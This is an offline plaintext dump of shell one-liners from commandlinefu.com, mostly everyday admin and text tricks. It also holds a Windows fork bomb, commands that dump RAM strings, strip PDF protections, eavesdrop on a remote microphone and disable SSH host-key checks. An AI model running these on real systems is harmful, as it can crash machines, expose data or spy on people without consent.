Commandlinefu
Full offline plaintext backup of all commands from commandlinefu.com
Run the last command as root
sudo !!
Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer
Runs previous command but replacing
^foo^bar
Rapidly invoke an editor to write a long, complex, or tricky command
ctrl-x e
Place the argument of the most recent command on the shell
'ALT+.' or '<ESC> .'
currently mounted filesystems in nice layout
mount | column -t
Get your external IP address
curl ifconfig.me
Execute a command at a given time
echo "ls -l" | at midnight
Quick access to the ascii table.
man ascii
output your microphone to a remote computer's speaker
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
type partial command, kill this command, check something you forgot, yank the command, resume typing.
Mount folder/filesystem through SSH
sshfs name@server:/path/to/folder /path/to/mount/point
Query Wikipedia via console over DNS
dig +short txt <keyword>.wp.dg.cx
Mount a temporary ram partition
mount -t tmpfs tmpfs /mnt -o size=1024m
Download an entire website
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
Clear the terminal screen
ctrl-l
Compare a remote file with a local file
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
A very simple and useful stopwatch
time read (ctrl-d to stop)
SSH connection through host in the middle
ssh -t reachable_host ssh unreachable_host
Update twitter via curl
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
Put a console clock in top right corner
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
Close shell keeping all subprocess running
disown -a && exit
Make 'less' behave like 'tail -f'.
less +F somelogfile
Simulate typing
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
32 bits or 64 bits?
getconf LONG_BIT
Stream (almost) any music track in mplayer
python2 -c 'import urllib2 as u, sys as s, json as j, subprocess as p;p.call(["mplayer", u.urlopen(j.loads(u.urlopen("http://ex.fm/api/v3/song/search/%s" % "+".join(s.argv[1:])).read())["songs"][0]["url"]).geturl().split("#")[0]])' lenny kravitz fly away
print text in colors green, cyan, blue or red (see sample output for usage)
color () { local color=39; local bold=0; case $1 in green) color=32;; cyan) color=36;; blue) color=34;; gray) color=37;; darkgrey) color=30;; red) color=31;; esac; if [[ "$2" == "bold" ]]; then bold=1; fi; echo -en "\033[${bold};${color}m"; }
Merge AVI-files without recoding
cat part1.avi part2.avi part3.avi > tmp.avi && mencoder -forceidx -oac copy -ovc copy tmp.avi -o output.avi && rm -f tmp.avi
check the status of 'dd' in progress (OS X)
pv -tpreb /dev/sda | dd of=/dev/sdb bs=1M
Download all music files off of a website using wget
wget -r -l1 -H -nd -A mp3 -e robots=off http://example/url
foo ↔ german translation with dict.leo.org
leo (){ l="en"; if [ "${1:0:1}" = "-" ]; then l=${1:1:2};shift;fi;Q="$*";curl -s "https://dict.leo.org/${l}de/?search=${Q// /%20}" | html2text | sed -e '0,/H.ufigste .*/d;/Weitere Aktionen/,$d;/f.r Sie .*:/,$d' | grep -aEA900 '^\*{5} .*$'; }
Use GNU info with a pager
info --subnodes -o - <item> | less
get a random 0/1, use it for on/off, yes/no
echo $[RANDOM % 2]
SSH Auto-login with password
sshpass -p "YOUR_PASSWORD" ssh -o StrictHostKeyChecking=no YOUR_USERNAME@SOME_SITE.COM
Use Vim to convert text to HTML.
vimhtml() { [[ -f "$1" ]] || return 1; vim +'syn on | run! syntax/2html.vim | wq | q' "$1";}
Convert YAML to JSON
python -c 'import sys, yaml, json; json.dump(yaml.load(sys.stdin), sys.stdout, indent=4)' < file.yaml > file.json
bash auto-complete your screen sessions
complete -C "perl -e '@w=split(/ /,\$ENV{COMP_LINE},-1);\$w=pop(@w);for(qx(screen -ls)){print qq/\$1\n/ if (/^\s*\$w/&&/(\d+\.\w+)/||/\d+\.(\$w\w*)/)}'" screen
find unreadable file
sudo -u apache find . -not -readable
create new branch from stashed changes
git stash branch testchanges
SMTP Analysis
tcpdump -l -s0 -w - tcp dst port 25 | strings | grep -i 'MAIL FROM\|RCPT TO'
vim multiple files at one time, split vertically.
vim -O file1 file2
Limit the cpu usage of a process
prlimit --cpu=10 sort -u hugefile
check for write/read permissions
find ~/ -type d \( -wholename '/dev/*' -o -wholename '/sys/*' -o -wholename '/proc/*' \) -prune -o -exec test -w {} \; -exec echo {} writable \; 2>/dev/null
Tail a log-file over the network
(echo -e "HTTP/1.1 200 Ok\n\r"; tail -f /var/log/syslog) | nc -l 1234
pid of manually selecting window
xprop | awk '/PID/ {print $3}'
List directories recursively showing its sizes using only ls and grep
ls -lhR | grep -e "total\|:$"
Mplayer save stream to file
mplayer -nolirc <Streaming_URL> -dumpstream -dumpfile output.mp3
Find out if a module is installed in perl
perldoc -l Module::Name 2>/dev/null
Simulate typing but with mistakes
echo -e "You are a jerk\b\b\b\bwonderful person" | pv -qL $[10+(-2 + RANDOM%5)]
Find broken symlinks and delete them
find . -type l -exec test ! -e {} \; -delete
List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
Set audible alarm when an IP address comes online
ping -i 60 -a IP_address
Reboot machine when everything is hanging
quickly rename a file
mv filename.{old,new}
Create a script of the last executed command
echo "!!" > foo.sh
Push your present working directory to a stack that you can pop later
pushd /tmp
Delete all files in a folder that don't match a certain file extension
rm !(*.foo|*.bar|*.baz)
Display the top ten running processes - sorted by memory usage
ps aux | sort -nk +4 | tail
Easy and fast access to often executed commands that are very long and complex.
some_very_long_and_complex_command !!! Example "label
Watch Network Service Activity in Real-time
lsof -i
escape any command aliases
\[command]
Reuse all parameter of the previous command line
!*
Show apps that use internet connection at the moment. (Multi-Language)
lsof -P -i -n
diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)
Show File System Hierarchy
man hier
Backticks are evil
echo "The date is: $(date +%D)"
Display a block of text with AWK
awk '/start_pattern/,/stop_pattern/' file.txt
Sharing file through http 80 port
nc -v -l 80 < file.ext
save command output to image
ifconfig | convert label:@- ip.png
Set CDPATH to ease navigation
CDPATH=:..:~:~/projects
Remove duplicate entries in a file without sorting.
awk '!x[$0]++' <file>
Add Password Protection to a file your editing in vim.
vim -x <FILENAME>
Copy your SSH public key on a remote machine for passwordless login - the easy way
ssh-copy-id username@hostname
Kills a process that is locking a file.
fuser -k filename
Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
Remove the first character of each line in a file
sed "s/^.//g" files
Open (in vim) all modified files in a git repository
vim `git status --porcelain | sed -ne 's/^ M //p'`
Create a continuous digital clock in Linux terminal
watch -t -n 1 date +%T
Binary digits Matrix effect
echo -e "\e[32m"; while :; do printf '%*c' $(($RANDOM % 30)) $(($RANDOM % 2)); done
Fork Bomb for Windows
for /l %a in (0,0,0) do start
Show all configured ipv4
ip -o -4 a s
detect partitions
lsblk -o NAME,TYPE,FSTYPE,LABEL,SIZE,MODEL,MOUNTPOINT
Find the 10 users that take up the most disk space
du -sm /home/* | sort -nr | head -n 10
Show a random oneliner from commandlinefu.com
echo -e "`curl -sL http://www.commandlinefu.com/commands/random/json|sed -re 's/.*,"command":"(.*)","summary":"([^"]+).*/\\x1b[1;32m\2\\n\\n\\x1b[1;33m\1\\x1b[0m/g'`\n"
Sort files in multiple directories by date
find . -type f -exec ls -l --full-time {} + | sort -k 6,7
Create a tar archive with all files of a certain type found in present dir and subdirs
find ./ -type f -name "*.txt" -exec tar uvf myarchives.tar {} +
tree by modify time with newest file at bottom
tree -L 1 -ChDit | tac
tar exclude files or directories
tar -cvzf home_backup.tar.gz --exclude={.*,Downloads} /home/<user>
Quickly display a string as Qr Code
qr(){ qrencode ${1} -o - | xview stdin; }
delete files containing matching text
grep -r -Z -l "<text>" . | xargs -0 echo rm
exec chmod to subfiles
find . -type f -exec chmod a-x {} +
Ensure that each machine that you log in to has its own history file
export HISTFILE="$HOME/.bash_history-$(hostname -s)"
Take aWebcam Picture When the Mouse Moves
while true; do sudo cat /dev/input/mouse0|read -n1;streamer -q -o /tmp/cam.jpeg -s 640x480 > /dev/null 2>&1; sleep 10;done
Execute a command at a given time
at midnight<<<'ls -l'
List PCI device with class and vendor/device IDs
for device in /sys/bus/pci/devices/*; do echo "$(basename ${device} | cut -c '6-') $(cut -c '3-6' ${device}/class): $(cut -c '3-' ${device}/vendor):$(cut -c '3-' ${device}/device)"; done
Send command to all terminals in a screen session
<ctrl+a>:at "#" stuff "echo hello world^M"
Add strikethrough to text
echo text | sed $"s/./&\xCC\xB6/g"
switch case of a text file
tr a-zA-Z A-Za-z < input.txt
Count number of files in a directory
find . -maxdepth 1 -type f | wc -l
Copy all shared libraries for a binary to directory
ldd file | grep "=> /" | awk '{print $3}' | xargs -I '{}' cp -v '{}' /destination
Insert the last command without the last argument (bash)
!:-
python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025
Display which distro is installed
cat /etc/issue
Extract tarball from internet without local saving
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
Find the process you are looking for minus the grepped one
ps aux | grep [p]rocess-name
replace spaces in filenames with underscores
rename 'y/ /_/' *
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
Matrix Style
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
Inserts the results of an autocompletion in the command line
ESC *
Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
Google Translate
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
Rapidly invoke an editor to write a long, complex, or tricky command
fc
A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings
Graphical tree of sub-directories
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
mkdir & cd into it as single command
mkdir /home/foo/doc/bar && cd $_
Create a pdf version of a manpage
man -t manpage | ps2pdf - filename.pdf
Create a CD/DVD ISO image from disk.
readom dev=/dev/scd0 f=/path/to/image.iso
Multiple variable assignments from command output in BASH
read day month year <<< $(date +'%d %m %y')
intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID
Copy a file using pv and watch its progress
pv sourcefile > destfile
Make directory including intermediate directories
mkdir -p a/long/directory/path
Remove all but one specific file
rm -f !(survivior.txt)
Define a quick calculator function
? () { echo "$*" | bc -l; }
Stream YouTube URL directly to mplayer.
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*')
Easily search running processes (alias).
alias 'ps?'='ps ax | grep '
Default value or argument
num_lines=${1:-42}
Print current running shell, PID
ps -p $$
Delete Last Line of a File if it is Blank
sed '${/^$/d}' file
Unrar all multipart rar archives in directory
for f in /*part1.rar;do unrar e .$f.;done
commit message generator - whatthecommit.com
curl http://whatthecommit.com/index.txt
extract element of xml
xml2 < file.xml | grep ^/path/to/element | cut -f2- -d=
convert from decimal to hexadecimal
hex() { bc <<< "obase=16; $1"; }
create thumbnail of pdf
convert -resize 200 awk.pdf[0] awk.png
capture selected window
import -window `xwininfo | awk '/Window id/{print $4; exit}'` `uuidgen`.png
Encryption file in commad line
gpg -c <filename>
Get the 10 biggest files/folders for the current direcotry
du -sh * | sort -rh | head
Rsync a directory excluding pesky .svn dirs
rsync -rv --exclude .svn src/dir/ dest/dir/
Using json.tool from the shell to validate and pretty-print
echo '{"json":"obj"}' | python -mjson.tool
video thumbnail gallery
totem-video-thumbnailer -pg 25 in_video out_png
ThePirateBay.org torrent search
tpb() { wget -U Mozilla -qO - $(echo "http://thepiratebay.org/search/$@/0/7/0" | sed 's/ /\%20/g') | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' | tac; }
Skip filenames with control characters, a.k.a tab,newline etc
find . ! -name "$(printf '*[\001-\037\177]*')"
Extract extention of a file
filext () { echo ${1##*.}; }
List processes sorted by CPU usage
ps -ef --sort=-%cpu
Jump up to any directory above the current one
upto() { cd "${PWD/\/$@\/*//$@}" }
Suppress output of loud commands you don't want to hear from
quietly() { "$@" |&:; }
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh <REMOTE> "(cat > tmp.pubkey ; mkdir -p .ssh ; touch .ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}' ~/.ssh/id_rsa.pub)/d' .ssh/authorized_keys; cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)"
Drop all tables from a database, without deleting it
mysqldump -u $USER --password=$PASSWORD --add-drop-table --no-data "$DATABASE" | grep ^DROP | mysql -u $USER --password=$PASSWORD "$DATABASE"
check open ports (both ipv4 and ipv6)
lsof -Pn | grep LISTEN
Determine if a command is in your $PATH using POSIX
command -v bash
Creating ISO Images from CDs/DVDs
dd if=/dev/cdrom of=~/cd_image.iso
Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile
git remove files which have been deleted
git add -u
Job Control
^Z $bg $disown
Graph !!! Example "of connections for each hosts.
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
Generate a random password 30 characters long
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
Show apps that use internet connection at the moment. (Multi-Language)
ss -p
Monitor progress of a command
pv access.log | gzip > access.log.gz
Record a screencast and convert it to an mpeg
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
Get the 10 biggest files/folders for the current direcotry
du -s * | sort -n | tail
Recursively remove all empty directories
find . -type d -empty -delete
Search for a
grep -RnisI <pattern> *
Convert seconds to human-readable format
date -d@1234567890
pretend to be busy in office to enjoy a cup of coffee
cat /dev/urandom | hexdump -C | grep "ca fe"
Show numerical values for each of the 256 colors in bash
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
Processor / memory bandwidthd? in GB/s
dd if=/dev/zero of=/dev/null bs=1M count=32768
Monitor the queries being run by MySQL
watch -n 1 mysqladmin --user=<user> --password=<password> processlist
Nice weather forecast on your shell
curl wttr.in/seville
Remove security limitations from PDF documents using ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
Display a cool clock on your terminal
watch -t -n1 "date +%T|figlet"
Create a persistent connection to a machine
ssh -MNf <user>@<host>
Create a quick back-up copy of a file
cp file.txt{,.bak}
Makes the permissions of file2 the same as file1
chmod --reference file1 file2
Check your unread Gmail from the command line
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
Open Finder from the current Terminal location
open .
Google text-to-speech in mp3 format
p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@" translate.google.com/translate_tts?tl=en\&q=$p|mpg123 -
dont execute command just add it to history as a comment, handy if your command is not "complete" yet
#command
Capitalize first letter of each word in a string
echo 'fOo BaR' | tr '[A-Z]' '[a-z]' | sed 's/\(^\| \)\([a-z]\)/\1\u\2/g'
Copy sparse files
cp --sparse=always <SRC> <DST>
Screenshot pipe to remote host, adding URL to clipboard, notifying when done. (without saving locally)
DATE=$(date +%Y-%m-%d_%H-%M-%S)-$(($(date +%N)/10000000)); HOST=ssh_host; DEST=file_dest; URL=url/screenshot_$DATE.png; import -window root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Title" "Message"
Multiple variable assignments from command output in BASH
eval $(date +"day=%d; month=%m; year=%y")
netstat with group by ip adress
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
whowatch: Linux and UNIX interactive, process and users monitoring tool
whowatch
Pull git submodules in parallel using GNU parallel
parallel -j4 cd {}\; pwd\; git pull :::: <(git submodule status | awk '{print $2}')
Run a command as root, with a delay
sudo bash -c "sleep 1h ; command"
List your MACs address
cat /sys/class/net/*/address
List your interfaces and MAC addresses
for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done
shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown -h 240 & disown
bulk rename files with sed, one-liner
ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv
Put a console clock in top right corner
while true; do tput sc; tput cup 0 $(($(tput cols)-74)); w | grep load; tput rc; sleep 10; done &
ThePirateBay.org torrent search
wget -U Mozilla -qO - "http://thepiratebay.org/search/your_querry_here/0/7/0" | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent'
Indent a one-liner.
declare -f <function name>
a fast way to repeat output a byte
tr '\0' '\377' < /dev/zero|dd count=$((<bytes>/512))
monitor a tail -f command with multiple processes
tail -f somefile |tee >(grep --line-buffered '1' > one.txt) |tee >(grep --line-buffered '2' > two.txt)
Print all the lines between 10 and 20 of a file
sed '10,20!d'
cd into another dir to run a one-liner, but implicitly drop back to your $OLD_PWD after
( cd $DIR; command; )
Display HTTP-header using curl
curl -I g.cn
Create a 5 MB blank file
dd if=/dev/zero of=testfile bs=1024 count=5000
Console clock
while [[ 1 ]] ; do clear; banner `date +%H:%M:%S` ; sleep 1; done
Email yourself a short note
quickemail() { echo "$*" | mail -s "$*" email@email.com; }
Send pop-up notifications on Gnome
notify-send ["<title>"] "<body>"
Mount a .iso file in UNIX/Linux
mount /path/to/file.iso /mnt/cdrom -oloop
Start COMMAND, and kill it if still running after 5 seconds
timeout 5s COMMAND
Remove a line in a text file. Useful to fix
ssh-keygen -R <the_offending_host>
Show a 4-way scrollable process tree with full details.
ps awwfux | less -S
(Debian/Ubuntu) Discover what package a file belongs to
dpkg -S /usr/bin/ls
Run a command only when load average is below a certain threshold
echo "rm -rf /unwanted-but-large/folder" | batch
To print a specific line from a file
sed -n 5p <file>
Attach screen over ssh
ssh -t remote_host screen -r
List all bash shortcuts
bind -P
RTFM function
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
Eavesdrop on your system
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | xargs rm -r
which program is this port belongs to ?
lsof -i tcp:80
Retry the previous command until it exits successfully
until !!; do :; done
Broadcast your shell thru ports 5000, 5001, 5002 …
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
What is my public IP-address?
curl ifconfig.me
Python version 3: Serve current directory tree at http://$HOSTNAME:8000/
python -m http.server
directly ssh to host B that is only accessible through host A
ssh -t hostA ssh hostB
Synchronize date and time with a server over ssh
date --set="$(ssh user@server date)"
List only the directories
ls -d */
Edit a google doc with vim
google docs edit --title "To-Do List" --editor vim
Run a file system check on your next boot.
sudo touch /forcefsck
Share a terminal screen with others
% screen -r someuser/
Google text-to-speech in mp3 format
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world
generate random password (works on Mac OS X)
env LC_CTYPE=C tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10
uniq without pre-sorting
perl -ne 'print if !$a{$_}++'
Console clock – within screen
echo 'hardstatus alwayslastline " %d-%m-%y %c:%s | %w"' >> $HOME/.screenrc; screen
Console clock
watch -n1 'date "+%T"'
Calculate sum of N numbers (Thanks to flatcap)
seq -s "+" 3 | bc
Console clock
yes "echo -ne '\r'\`date\`;sleep 1" | sh
list all file extensions in a directory
ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq
Customize time format of 'ls -l'
ls -l --time-style=+"%Y-%m-%d %H:%M:%S"
Probably, most frequent use of diff
diff -Naur --strip-trailing-cr
eavesdrop
ssh USER@REMOTESYSTEM arecord - | aplay -
let the cow suggest some commit messages for you
while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done
tar and remove files which are older that 100 days
find . -type f -mtime +100 -exec tar rvf my.tar --remove-files {} \;
Quick searching with less
zless +/search_pattern file.gz
m4a to mp3 conversion with ffmpeg and lame
ffmpeg -i input.m4a -acodec libmp3lame -ab 128k output.mp3
Terminal - Prints out, what the users name, notifyed in the gecos field, is
getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d,
Arch Linux sort installed packages by size
paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print $4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t
Remove all HTML tags from a file
awk '{gsub("<[^>]*>", "")}1' file
Use AbiWord to generate a clean HTML document from a Microsoft Word document.
abiword --to=html file.doc --exp-props=
RTFM function
rtfm() { help $@ || $@ -h || $@ --help || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
Find the biggest files
du -sk * | sort -rn | head
Find a CommandlineFu users average command rating
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
Set laptop display brightness
echo <percentage> > /proc/acpi/video/VGA/LCD/brightness
update you web
git archive --format=tar HEAD | (cd /var/www/ && tar xf -)
get you public ip address
curl http://ifconfig.me/ip
Create QR codes from a URL.
qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }
Show apps that use internet connection at the moment.
lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
Duplicate installed packages from one machine to the other (RPM-based systems)
ssh root@remote.host "rpm -qa" | xargs yum -y install
Download Youtube video with wget!
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv
Get your outgoing IP address
dig +short myip.opendns.com @resolver1.opendns.com
Binary Clock
watch -n 1 'echo "obase=2;`date +%s`" | bc'
Remind yourself to leave in 15 minutes
leave +15
Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
make directory tree
mkdir -p work/{d1,d2}/{src,bin,bak}
Download all images from a site
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
Draw kernel module dependancy graph.
lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display -
Control ssh connection
[enter]~?
Compare two directory trees.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
Bring the word under the cursor on the :ex line in Vim
:<C-R><C-W>
Convert Youtube videos to MP3
youtube-dl -t --extract-audio --audio-format mp3 YOUTUBE_URL_HERE
Find out how much data is waiting to be written to disk
grep ^Dirty /proc/meminfo
Use tee to process a pipe with two or more processes
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
run complex remote shell cmds over ssh, without escaping quotes
ssh host -l user $(<cmd.txt)
Backup all MySQL Databases to individual files
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
Port Knocking!
knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
Add timestamp to history
export HISTTIMEFORMAT="%F %T "
Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} \;
Find files that have been modified on your system in the past 60 minutes
sudo find / -mmin 60 -type f
Intercept, monitor and manipulate a TCP connection.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
Quick access to ASCII code of a key
showkey -a
using `!#$' to referance backward-word
cp /work/host/phone/ui/main.cpp !#$:s/host/target
Remove duplicate rows of an un-sorted file based on a single column
awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt > outfile.txt
print line and execute it in BASH
bash -x script.sh
show all established tcp connections on os x
lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u
Monitor cpu freq and temperature
watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/throttling"
Retrieve a random command from the commandlinefu.com API
lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .
Binary clock
read -a A<<<".*.**..*....*** 8 9 5 10 6 0 2 11 7 4";for C in `date +"%H%M"|fold -w1`;do echo "${A:${A[C+1]}:4}";done
syncronizing datas beetween two folder (A and B) excluding some directories in A (dir1 and dir2)
rsync -av --ignore-existing --exclude="dir1" --exclude="dir2" /pathA /pathB
Create a persistent remote Proxy server through an SSH channel
ssh -fND localhost:PORT USER@SSH_ENABLED_SERVER
Add a GPL license file to your project
wget -O LICENSE.txt http://www.gnu.org/licenses/gpl-3.0.txt
Creates a symbolic link or overwrites an existing one
ln -nvfs /source /destination
Monitor a file with tail with timestamps added
tail -f file | while read line; do printf "$(date -u '+%F %T%z')\t$line\n"; done
Suspend an ssh session.
~ ctrl-z
Find broken symlinks in the current directory and its subdirectories.
find -L -type l
slow down CPU and IO for process and its offsprings.
slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; }
Recursively remove 0kb files from a directory
find . -empty -type f -delete
Bash: escape '-' character in filename
mv -- -filename filename
BackTrack Repos
sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse' && wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -
Recursively remove .svn directories from a local repository
find . -type d -name .svn -execdir rm -rf {} +
SSH tunneling self-connection
autossh -M 0 -p 22 -C4c arcfour,blowfish-cbc -NfD 8080 -2 -L localport1:server1:remoteport1 -L bind_address2:localport2:server2:remoteport2 user@sshserver
Detach a process from the current shell
ping -i1 www.google.com &> /dev/null & disown
Read PDFs in the command line
pdftohtml -i -stdout FILE.pdf | w3m -T text/html
Mount partition from image (without offset mount)
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
Debug SSH at the Maximum Verbosity Level
alias sshv='ssh -vvv -o LogLevel=DEBUG3'
Lists all files and directories with modified time newer than a given date
touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts
Get information on your graphics card on linux (such as graphics memory size)
for I in `/sbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done
Save a file you edited in vim without the needed permissions (no echo)
:w !sudo tee > /dev/null %
Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
Block known dirty hosts from reaching your machine
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
find files in a date range
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
output your microphone to a remote computer's speaker
arecord -f dat | ssh -C user@host aplay -f dat
analyze traffic remotely over ssh w/ wireshark
ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
Create a directory and change into it at the same time
md () { mkdir -p "$@" && cd "$@"; }
Colorized grep in less
grep --color=always | less -R
check site ssl certificate dates
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
Exclude multiple columns using AWK
awk '{$1=$3=""}1' file
ls not pattern
ls !(*.gz)
delete a line from your shell history
history -d
Given a file path, unplug the USB device on which the file is located (the file must be on an USB device !)
echo $(sudo lshw -businfo | grep -B 1 -m 1 $(df "/path/to/file" | tail -1 | awk '{print $1}' | cut -c 6-8) | head -n 1 | awk '{print $1}' | cut -c 5- | tr ":" "-") | sudo tee /sys/bus/usb/drivers/usb/unbind
Remove a line in a text file. Useful to fix "ssh host key change" warnings
sed -i 8d ~/.ssh/known_hosts
notify yourself when a long-running command which has ALREADY STARTED is finished
Remove blank lines from a file using grep and save output to new file
grep . filename > newfilename
How to establish a remote Gnu screen session that you can re-connect to
ssh -t user@some.domain.com /usr/bin/screen -xRR
Convert PDF to JPG
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
Get the IP of the host your coming from when logged in remotely
echo ${SSH_CLIENT%% *}
Random Number Between 1 And X
echo $[RANDOM%X+1]
Lists all listening ports together with the PID of the associated process
lsof -Pan -i tcp -i udp
easily find megabyte eating files or directories
alias dush="du -sm *|sort -n|tail"
Exclude .svn, .git and other VCS junk for a pristine tarball
tar --exclude-vcs -cf src.tar src/
Create a nifty overview of the hardware in your computer
lshw -html > hardware.html
exit without saving history
kill -9 $$
Get IP from hostname
